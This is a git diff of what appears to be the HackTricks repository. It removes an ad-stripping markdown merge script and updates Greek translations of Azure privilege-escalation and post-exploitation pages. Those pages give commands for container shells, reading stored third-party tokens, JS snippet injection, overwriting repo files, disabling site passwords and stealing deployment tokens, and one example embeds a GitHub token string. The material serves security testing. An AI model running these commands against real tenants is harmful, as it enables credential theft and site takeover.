diff --git a/scripts/clean_for_ai.py b/scripts/clean_for_ai.py deleted file mode 100644 index dd8035ed0..000000000 --- a/scripts/clean_for_ai.py +++ /dev/null @@ -1,145 +0,0 @@ -import os -import re -import tempfile - -def clean_and_merge_md_files(start_folder, exclude_keywords, output_file): - def clean_file_content(file_path): - """Clean the content of a single file and return the cleaned lines.""" - with open(file_path, "r", encoding="utf-8") as f: - content = f.readlines() - - cleaned_lines = [] - inside_hint = False - for i,line in enumerate(content): - # Skip lines containing excluded keywords - if any(keyword in line for keyword in exclude_keywords): - continue - - # Detect and skip {% hint %} ... {% endhint %} blocks - if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]: - inside_hint = True - if "{% endhint %}" in line: - inside_hint = False - continue - if inside_hint: - continue - - # Skip lines with
...
- if re.match(r"
.*?
", line): - continue - - # Add the line if it passed all checks - cleaned_lines.append(line.rstrip()) - - # Remove excess consecutive empty lines - cleaned_lines = remove_consecutive_empty_lines(cleaned_lines) - return cleaned_lines - - def remove_consecutive_empty_lines(lines): - """Allow no more than one consecutive empty line.""" - cleaned_lines = [] - previous_line_empty = False - for line in lines: - if line.strip() == "": - if not previous_line_empty: - cleaned_lines.append("") - previous_line_empty = True - else: - cleaned_lines.append(line) - previous_line_empty = False - return cleaned_lines - - def gather_files_in_order(start_folder): - """Gather all .md files in a depth-first order.""" - files = [] - for root, _, filenames in os.walk(start_folder): - md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")]) - files.extend(md_files) - return files - - # Gather files in depth-first order - all_files = gather_files_in_order(start_folder) - - # Process files and merge into a single output - with open(output_file, "w", encoding="utf-8") as output: - for file_path in all_files: - # Clean the content of the file - cleaned_content = clean_file_content(file_path) - - # Skip saving if the cleaned file has fewer than 10 non-empty lines - if len([line for line in cleaned_content if line.strip()]) < 10: - continue - - # Get the name of the file for the header - file_name = os.path.basename(file_path) - - # Write header, cleaned content, and 2 extra new lines - output.write(f"# {file_name}\n\n") - output.write("\n".join(cleaned_content)) - output.write("\n\n") - -def main(): - # Specify the starting folder and output file - start_folder = os.getcwd() - output_file = os.path.join(tempfile.gettempdir(), "merged_output.md") - - # Keywords to exclude from lines - exclude_keywords = [ - "STM Cyber", # STM Cyber ads - "offer several valuable cybersecurity services", # STM Cyber ads - "and hack the unhackable", # STM Cyber ads - "blog.stmcyber.com", # STM Cyber ads - - "RootedCON", # RootedCON ads - "rootedcon.com", # RootedCON ads - "the mission of promoting technical knowledge", # RootedCON ads - - "Intigriti", # Intigriti ads - "intigriti.com", # Intigriti ads - - "Trickest", # Trickest ads - "trickest.com", # Trickest ads, - "Get Access Today:", - - "HACKENPROOF", # Hackenproof ads - "hackenproof.com", # Hackenproof ads - "HackenProof", # Hackenproof ads - "discord.com/invite/N3FrSbmwdy", # Hackenproof ads - "Hacking Insights:", # Hackenproof ads - "Engage with content that delves", # Hackenproof ads - "Real-Time Hack News:", # Hackenproof ads - "Keep up-to-date with fast-paced", # Hackenproof ads - "Latest Announcements:", # Hackenproof ads - "Stay informed with the newest bug", # Hackenproof ads - "start collaborating with top hackers today!", # Hackenproof ads - "discord.com/invite/N3FrSbmwdy", # Hackenproof ads - - "Pentest-Tools", # Pentest-Tools.com ads - "pentest-tools.com", # Pentest-Tools.com ads - "perspective on your web apps, network, and", # Pentest-Tools.com ads - "report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads - - "SerpApi", # SerpApi ads - "serpapi.com", # SerpApi ads - "offers fast and easy real-time", # SerpApi ads - "plans includes access to over 50 different APIs for scraping", # SerpApi ads - - "8kSec", # 8kSec ads - "academy.8ksec.io", # 8kSec ads - "Learn the technologies and skills required", # 8kSec ads - - "WebSec", # WebSec ads - "websec.nl", # WebSec ads - "which means they do it all; Pentesting", # WebSec ads - ] - - # Clean and merge .md files - clean_and_merge_md_files(start_folder, exclude_keywords, output_file) - - # Print the path to the output file - print(f"Merged content has been saved to: {output_file}") - -if __name__ == "__main__": - # Execute this from the hacktricks folder to clean - # It will clean all the .md files and compile them into 1 in a proper order - main() diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index c859c3ba3..bdbfa8cd3 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -76,14 +76,20 @@ az keyvault key delete --vault-name --name ``` ### **Microsoft.KeyVault/vaults/secrets/delete** -Αυτή η άδεια επιτρέπει σε έναν κύριο να διαγράψει ένα μυστικό από το θησαυροφυλάκιο. Το μυστικό μεταφέρεται στην κατάσταση "soft-delete", όπου μπορεί να ανακτηθεί εκτός αν διαγραφεί μόνιμα. +Αυτή η άδεια επιτρέπει σε έναν κύριο να διαγράψει ένα μυστικό από το θησαυρό. Το μυστικό μεταφέρεται στην κατάσταση "soft-delete", όπου μπορεί να ανακτηθεί εκτός αν διαγραφεί μόνιμα. ```bash az keyvault secret delete --vault-name --name ``` ### Microsoft.KeyVault/vaults/secrets/restore/action -Αυτή η άδεια επιτρέπει σε έναν κύριο να αποκαταστήσει ένα μυστικό από ένα αντίγραφο ασφαλείας. +Αυτή η άδεια επιτρέπει σε έναν κύριο να επαναφέρει ένα μυστικό από ένα αντίγραφο ασφαλείας. ```bash az keyvault secret restore --vault-name --file +``` +### Microsoft.KeyVault/vaults/keys/recover/action +Επιτρέπει την ανάκτηση ενός προηγουμένως διαγραμμένου κλειδιού από ένα Azure Key Vault +```bash +az keyvault secret recover --vault-name --name + ``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md index 12a04385c..325f6d74c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md @@ -14,7 +14,7 @@ ### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action` -Αυτές οι άδειες επιτρέπουν στον χρήστη να **εκτελεί μια εντολή** σε ένα τρέχον κοντέινερ. Αυτό μπορεί να χρησιμοποιηθεί για **αναβάθμιση δικαιωμάτων** στο κοντέινερ αν έχει οποιαδήποτε διαχειριζόμενη ταυτότητα συνδεδεμένη. Φυσικά, είναι επίσης δυνατό να αποκτήσετε πρόσβαση στον πηγαίο κώδικα και σε οποιαδήποτε άλλη ευαίσθητη πληροφορία που αποθηκεύεται μέσα στο κοντέινερ. +Αυτές οι άδειες επιτρέπουν στον χρήστη να **εκτελέσει μια εντολή** σε ένα τρέχον κοντέινερ. Αυτό μπορεί να χρησιμοποιηθεί για **να κλιμακώσει προνόμια** στο κοντέινερ αν έχει οποιαδήποτε διαχειριζόμενη ταυτότητα συνδεδεμένη. Φυσικά, είναι επίσης δυνατό να αποκτήσετε πρόσβαση στον πηγαίο κώδικα και σε οποιαδήποτε άλλη ευαίσθητη πληροφορία αποθηκευμένη μέσα στο κοντέινερ. Για να αποκτήσετε ένα shell είναι τόσο απλό όσο: ```bash @@ -30,9 +30,9 @@ az container logs --name --resource-group ``` ### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Αυτές οι άδειες επιτρέπουν να **συνδεθεί μια ταυτότητα διαχειριζόμενη από τον χρήστη** σε μια ομάδα κοντέινερ. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση δικαιωμάτων στο κοντέινερ. +Αυτές οι άδειες επιτρέπουν να **συνδεθεί μια διαχειριζόμενη ταυτότητα χρήστη** σε μια ομάδα κοντέινερ. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση δικαιωμάτων στο κοντέινερ. -Για να συνδέσετε μια ταυτότητα διαχειριζόμενη από τον χρήστη σε μια ομάδα κοντέινερ: +Για να συνδέσετε μια διαχειριζόμενη ταυτότητα χρήστη σε μια ομάδα κοντέινερ: ```bash az rest \ --method PATCH \ @@ -49,7 +49,7 @@ az rest \ ``` ### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Αυτές οι άδειες επιτρέπουν να **δημιουργηθεί ή να ενημερωθεί μια ομάδα κοντέινερ** με μια **ταυτότητα διαχειριζόμενη από χρήστη** συνδεδεμένη σε αυτήν. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση δικαιωμάτων στο κοντέινερ. +Αυτές οι άδειες επιτρέπουν να **δημιουργηθεί ή να ενημερωθεί μια ομάδα κοντέινερ** με μια **ταυτότητα διαχειριζόμενη από τον χρήστη** συνδεδεμένη σε αυτήν. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση προνομίων στο κοντέινερ. ```bash az container create \ --resource-group \ @@ -67,7 +67,7 @@ az container create \ ### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action` -Αυτές οι άδειες επιτρέπουν στον χρήστη να **λάβει ένα shell** σε ένα τρέχον κοντέινερ εφαρμογής. Αυτό μπορεί να χρησιμοποιηθεί για **να κλιμακώσει προνόμια** στο κοντέινερ αν έχει οποιαδήποτε διαχειριζόμενη ταυτότητα συνδεδεμένη. Φυσικά, είναι επίσης δυνατό να αποκτήσετε πρόσβαση στον πηγαίο κώδικα και σε οποιαδήποτε άλλη ευαίσθητη πληροφορία αποθηκευμένη μέσα στο κοντέινερ. +Αυτές οι άδειες επιτρέπουν στον χρήστη να **λάβει ένα shell** σε ένα τρέχον κοντέινερ εφαρμογής. Αυτό μπορεί να χρησιμοποιηθεί για **να κλιμακώσει προνόμια** στο κοντέινερ αν έχει οποιαδήποτε διαχειριζόμενη ταυτότητα συνδεδεμένη. Φυσικά, είναι επίσης δυνατό να αποκτήσετε πρόσβαση στον πηγαίο κώδικα και σε οποιαδήποτε άλλη ευαίσθητη πληροφορία που είναι αποθηκευμένη μέσα στο κοντέινερ. ```bash az containerapp exec --name --resource-group --command "sh" az containerapp debug --name --resource-group @@ -90,7 +90,7 @@ az containerapp identity assign -n -g --user-assigned myU ``` ### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action` -Αυτές οι άδειες επιτρέπουν να **δημιουργηθεί ή να ενημερωθεί ένα κοντέινερ εφαρμογής** με μια **ταυτότητα διαχειριζόμενη από χρήστη** συνδεδεμένη σε αυτό. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση δικαιωμάτων στο κοντέινερ. +Αυτές οι άδειες επιτρέπουν να **δημιουργηθεί ή να ενημερωθεί ένα κοντέινερ εφαρμογής** με μια **ταυτότητα διαχειριζόμενη από τον χρήστη** συνδεδεμένη σε αυτό. Αυτό είναι πολύ χρήσιμο για την κλιμάκωση δικαιωμάτων στο κοντέινερ. ```bash # Get environments az containerapp env list --resource-group Resource_Group_1 @@ -141,7 +141,7 @@ az containerapp job secret show --name --resource-group - ``` ### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write` -Αν έχετε άδεια να τροποποιήσετε τη διαμόρφωση μιας εργασίας, μπορείτε να συνδέσετε μια ταυτοποιημένη διαχείριση που έχει ανατεθεί από τον χρήστη. Αυτή η ταυτότητα μπορεί να έχει επιπλέον προνόμια (για παράδειγμα, πρόσβαση σε άλλους πόρους ή μυστικά) που μπορούν να εκμεταλλευτούν για να κλιμακώσουν τα προνόμια μέσα στο κοντέινερ. +Αν έχετε άδεια να τροποποιήσετε τη διαμόρφωση ενός job, μπορείτε να συνδέσετε μια ταυτότητα διαχειριζόμενη από χρήστη. Αυτή η ταυτότητα μπορεί να έχει επιπλέον προνόμια (για παράδειγμα, πρόσβαση σε άλλους πόρους ή μυστικά) που μπορούν να εκμεταλλευτούν για να κλιμακώσουν τα προνόμια μέσα στο κοντέινερ. ```bash az containerapp job update \ --name \ @@ -150,7 +150,7 @@ az containerapp job update \ ``` ### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Αν μπορείτε να δημιουργήσετε μια νέα εργασία Container Apps (ή να ενημερώσετε μια υπάρχουσα) και να συνδέσετε μια διαχειριζόμενη ταυτότητα, μπορείτε να σχεδιάσετε την εργασία ώστε να εκτελεί ένα payload που κλιμακώνει τα δικαιώματα. Για παράδειγμα, θα μπορούσατε να δημιουργήσετε μια νέα εργασία που όχι μόνο εκτελεί ένα reverse shell αλλά και χρησιμοποιεί τα διαπιστευτήρια της διαχειριζόμενης ταυτότητας για να ζητήσει tokens ή να αποκτήσει πρόσβαση σε άλλους πόρους. +Αν μπορείτε να δημιουργήσετε μια νέα εργασία Container Apps (ή να ενημερώσετε μια υπάρχουσα) και να συνδέσετε μια διαχειριζόμενη ταυτότητα, μπορείτε να σχεδιάσετε την εργασία ώστε να εκτελεί ένα payload που κλιμακώνει τα δικαιώματα. Για παράδειγμα, θα μπορούσατε να δημιουργήσετε μια νέα εργασία που όχι μόνο εκτελεί ένα reverse shell αλλά χρησιμοποιεί επίσης τα διαπιστευτήρια της διαχειριζόμενης ταυτότητας για να ζητήσει tokens ή να αποκτήσει πρόσβαση σε άλλους πόρους. ```bash az containerapp job create \ --name \ @@ -173,4 +173,10 @@ az containerapp job create \ Δεν κατάφερα να το κάνω να λειτουργήσει, αλλά σύμφωνα με τις επιτρεπόμενες παραμέτρους θα έπρεπε να είναι δυνατό. +### Microsoft.ContainerInstance/containerGroups/restart/action + +Επιτρέπει την επανεκκίνηση μιας συγκεκριμένης ομάδας κοντέινερ εντός του Azure Container Instances. +```bash +az container restart --resource-group --name +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index 799219ed9..e5f5da8e8 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -4,7 +4,7 @@ ## Azure Static Web Apps -For more information about this service check: +Για περισσότερες πληροφορίες σχετικά με αυτή την υπηρεσία, ελέγξτε: {{#ref}} ../az-services/az-static-web-apps.md @@ -12,164 +12,153 @@ For more information about this service check: ### Microsoft.Web/staticSites/snippets/write -It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets). - -The fllowing command create an snippet that will always be loaded by the web app:: +Είναι δυνατόν να φορτώσετε μια στατική ιστοσελίδα με αυθαίρεο HTML κώδικα δημιουργώντας ένα snippet. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εισάγει κώδικα JS μέσα στην εφαρμογή ιστού και να κλέψει ευαίσθητες πληροφορίες όπως διαπιστευτήρια ή μνημονικούς κωδικούς (σε πορτοφόλια web3). +Η παρακάτω εντολή δημιουργεί ένα snippet που θα φορτώνεται πάντα από την εφαρμογή ιστού:: ```bash az rest \ - --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ - --headers "Content-Type=application/json" \ - --body '{ - "properties": { - "name": "supersnippet", - "location": "Body", - "applicableEnvironmentsMode": "AllEnvironments", - "content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", - "environments": [], - "insertBottom": false - } - }' +--method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"name": "supersnippet", +"location": "Body", +"applicableEnvironmentsMode": "AllEnvironments", +"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", +"environments": [], +"insertBottom": false +} +}' ``` +### Διαβάστε τις Ρυθμισμένες Πιστοποιήσεις Τρίτων -### Read Configured Third Party Credentials - -As explained in the App Service section: +Όπως εξηγήθηκε στην ενότητα App Service: {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one. - +Εκτελώντας την παρακάτω εντολή είναι δυνατόν να **διαβάσετε τις πιστοποιήσεις τρίτων** που είναι ρυθμισμένες στον τρέχοντα λογαριασμό. Σημειώστε ότι αν για παράδειγμα κάποιες πιστοποιήσεις Github είναι ρυθμισμένες σε διαφορετικό χρήστη, δεν θα μπορείτε να αποκτήσετε πρόσβαση στο token από έναν διαφορετικό. ```bash az rest --method GET \ - --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` +Αυτή η εντολή επιστρέφει tokens για το Github, Bitbucket, Dropbox και OneDrive. -This command returns tokens for Github, Bitbucket, Dropbox and OneDrive. - -Here you have some command examples to check the tokens: - +Εδώ έχετε μερικά παραδείγματα εντολών για να ελέγξετε τα tokens: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ - -H "Accept: application/vnd.github.v3+json" \ - https://api.github.com/user/repos +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos # Bitbucket – List Repositories curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://api.bitbucket.org/2.0/repositories +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories # Dropbox – List Files in Root Folder curl -X POST https://api.dropboxapi.com/2/files/list_folder \ - -H "Authorization: Bearer " \ - -H "Content-Type: application/json" \ - --data '{"path": ""}' +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' # OneDrive – List Files in Root Folder curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://graph.microsoft.com/v1.0/me/drive/root/children +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children ``` - ### Overwrite file - Overwrite routes, HTML, JS... -It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message. +Είναι δυνατόν να **επικαλύψετε ένα αρχείο μέσα στο Github repo** που περιέχει την εφαρμογή μέσω του Azure, στέλνοντας ένα αίτημα όπως το παρακάτω, το οποίο θα υποδεικνύει τη διαδρομή του αρχείου που θα επικαλυφθεί, το περιεχόμενο του αρχείου και το μήνυμα commit. -This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file. +Αυτό μπορεί να καταχραστεί από επιτιθέμενους για να **αλλάξουν το περιεχόμενο της διαδικτυακής εφαρμογής** ώστε να σερβίρουν κακόβουλο περιεχόμενο (να κλέψουν διαπιστευτήρια, μνημονικές κλειδιά...) ή απλώς για να **ανακατευθύνουν ορισμένες διαδρομές** στους δικούς τους διακομιστές επικαλύπτοντας το αρχείο `staticwebapp.config.json`. > [!WARNING] -> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github. - +> Σημειώστε ότι αν ένας επιτιθέμενος καταφέρει να παραβιάσει το Github repo με οποιονδήποτε τρόπο, μπορεί επίσης να επικαλύψει το αρχείο απευθείας από το Github. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ -d '{ - "commit": { - "message": "Update static web app route configuration", - "branchName": "main", - "committer": { - "name": "Azure App Service", - "email": "donotreply@microsoft.com" - }, - "contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", - "filePath": "staticwebapp.config.json", - "message": "Update static web app route configuration", - "repoName": "carlospolop/my-first-static-web-app", - "sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" - }, - "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" +"commit": { +"message": "Update static web app route configuration", +"branchName": "main", +"committer": { +"name": "Azure App Service", +"email": "donotreply@microsoft.com" +}, +"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", +"filePath": "staticwebapp.config.json", +"message": "Update static web app route configuration", +"repoName": "carlospolop/my-first-static-web-app", +"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" +}, +"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" }' ``` +### Microsoft.Web/staticSites/config/write - -### Microsoft.Web/staticSites/config/write - -With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following: - +Με αυτή την άδεια, είναι δυνατόν να **τροποποιηθεί ο κωδικός πρόσβασης** που προστατεύει μια στατική εφαρμογή ιστού ή ακόμη και να αφαιρεθεί η προστασία από κάθε περιβάλλον στέλνοντας ένα αίτημα όπως το παρακάτω: ```bash # Change password az rest --method put \ --url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ --headers 'Content-Type=application/json' \ --body '{ - "name": "basicAuth", - "type": "Microsoft.Web/staticSites/basicAuth", - "properties": { - "password": "SuperPassword123.", - "secretUrl": "", - "applicableEnvironmentsMode": "AllEnvironments" - } +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"password": "SuperPassword123.", +"secretUrl": "", +"applicableEnvironmentsMode": "AllEnvironments" +} }' + + # Remove the need of a password az rest --method put \ --url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ --headers 'Content-Type=application/json' \ --body '{ - "name": "basicAuth", - "type": "Microsoft.Web/staticSites/basicAuth", - "properties": { - "secretUrl": "", - "applicableEnvironmentsMode": "SpecifiedEnvironments", - "secretState": "None" - } +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"secretUrl": "", +"applicableEnvironmentsMode": "SpecifiedEnvironments", +"secretState": "None" +} }' ``` - ### Microsoft.Web/staticSites/listSecrets/action -This permission allows to get the **API key deployment token** for the static app: - +Αυτή η άδεια επιτρέπει την απόκτηση του **API key deployment token** για την στατική εφαρμογή: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" ``` +Στη συνέχεια, για να **ενημερώσετε μια εφαρμογή χρησιμοποιώντας το token** μπορείτε να εκτελέσετε την παρακάτω εντολή. Σημειώστε ότι αυτή η εντολή εξήχθη ελέγχοντας **πώς λειτουργεί το Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, καθώς είναι αυτή που έχει ορίσει το Azure ως προεπιλογή. Έτσι, η εικόνα και οι παράμετροι μπορεί να αλλάξουν στο μέλλον. -Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future. - -1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`. -2. Change the code you want to deploy -3. Deploy it running (Remember to change the ``): +> [!TIP] +> Για να αναπτύξετε την εφαρμογή μπορείτε να χρησιμοποιήσετε το **`swa`** εργαλείο από [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ή να ακολουθήσετε τα παρακάτω βήματα: +1. Κατεβάστε το repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ή οποιοδήποτε άλλο repo θέλετε να αναπτύξετε) και εκτελέστε `cd react-basic`. +2. Αλλάξτε τον κώδικα που θέλετε να αναπτύξετε +3. Αναπτύξτε το εκτελώντας (Θυμηθείτε να αλλάξετε το ``): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` - ->[!WARNING] -> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token. +> [!WARNING] +> Ακόμα και αν έχετε το token, δεν θα μπορείτε να αναπτύξετε την εφαρμογή αν η **Πολιτική Εξουσιοδότησης Ανάπτυξης** είναι ρυθμισμένη σε **Github**. Για να χρησιμοποιήσετε το token, θα χρειαστείτε την άδεια `Microsoft.Web/staticSites/write` για να αλλάξετε τη μέθοδο ανάπτυξης ώστε να χρησιμοποιεί το API token. ### Microsoft.Web/staticSites/write -With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action. +Με αυτή την άδεια είναι δυνατόν να **αλλάξετε την πηγή της στατικής εφαρμογής ιστού σε ένα διαφορετικό αποθετήριο Github**, ωστόσο, δεν θα προμηθευτεί αυτόματα καθώς αυτό πρέπει να γίνει από μια ενέργεια Github. -However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**. - -In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`. +Ωστόσο, αν η **Πολιτική Εξουσιοδότησης Ανάπτυξης** είναι ρυθμισμένη σε **Github**, είναι δυνατόν να **ενημερώσετε την εφαρμογή από το νέο αποθετήριο πηγής!**. +Σε περίπτωση που η **Πολιτική Εξουσιοδότησης Ανάπτυξης** δεν είναι ρυθμισμένη σε Github, μπορείτε να την αλλάξετε με την ίδια άδεια `Microsoft.Web/staticSites/write`. ```bash # Change the source to a different Github repository az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main @@ -179,117 +168,109 @@ az rest --method PATCH \ --url "https://management.azure.com/subscriptions/>/resourceGroups//providers/Microsoft.Web/staticSites/?api-version=2022-09-01" \ --headers 'Content-Type=application/json' \ --body '{ - "properties": { - "allowConfigFileUpdates": true, - "stagingEnvironmentPolicy": "Enabled", - "buildProperties": { - "appLocation": "/", - "apiLocation": "", - "appArtifactLocation": "build" - }, - "deploymentAuthPolicy": "GitHub", - "repositoryToken": "" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" - } +"properties": { +"allowConfigFileUpdates": true, +"stagingEnvironmentPolicy": "Enabled", +"buildProperties": { +"appLocation": "/", +"apiLocation": "", +"appArtifactLocation": "build" +}, +"deploymentAuthPolicy": "GitHub", +"repositoryToken": "" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +} }' ``` - -Example Github Action to deploy the app: - +Παράδειγμα Github Action για την ανάπτυξη της εφαρμογής: ```yaml name: Azure Static Web Apps CI/CD on: - push: - branches: - - main - pull_request: - types: [opened, synchronize, reopened, closed] - branches: - - main +push: +branches: +- main +pull_request: +types: [opened, synchronize, reopened, closed] +branches: +- main jobs: - build_and_deploy_job: - if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed') - runs-on: ubuntu-latest - name: Build and Deploy Job - permissions: - id-token: write - contents: read - steps: - - uses: actions/checkout@v3 - with: - submodules: true - lfs: false - - name: Install OIDC Client from Core Package - run: npm install @actions/core@1.6.0 @actions/http-client - - name: Get Id Token - uses: actions/github-script@v6 - id: idtoken - with: - script: | - const coredemo = require('@actions/core') - return await coredemo.getIDToken() - result-encoding: string - - name: Build And Deploy - id: builddeploy - uses: Azure/static-web-apps-deploy@v1 - with: 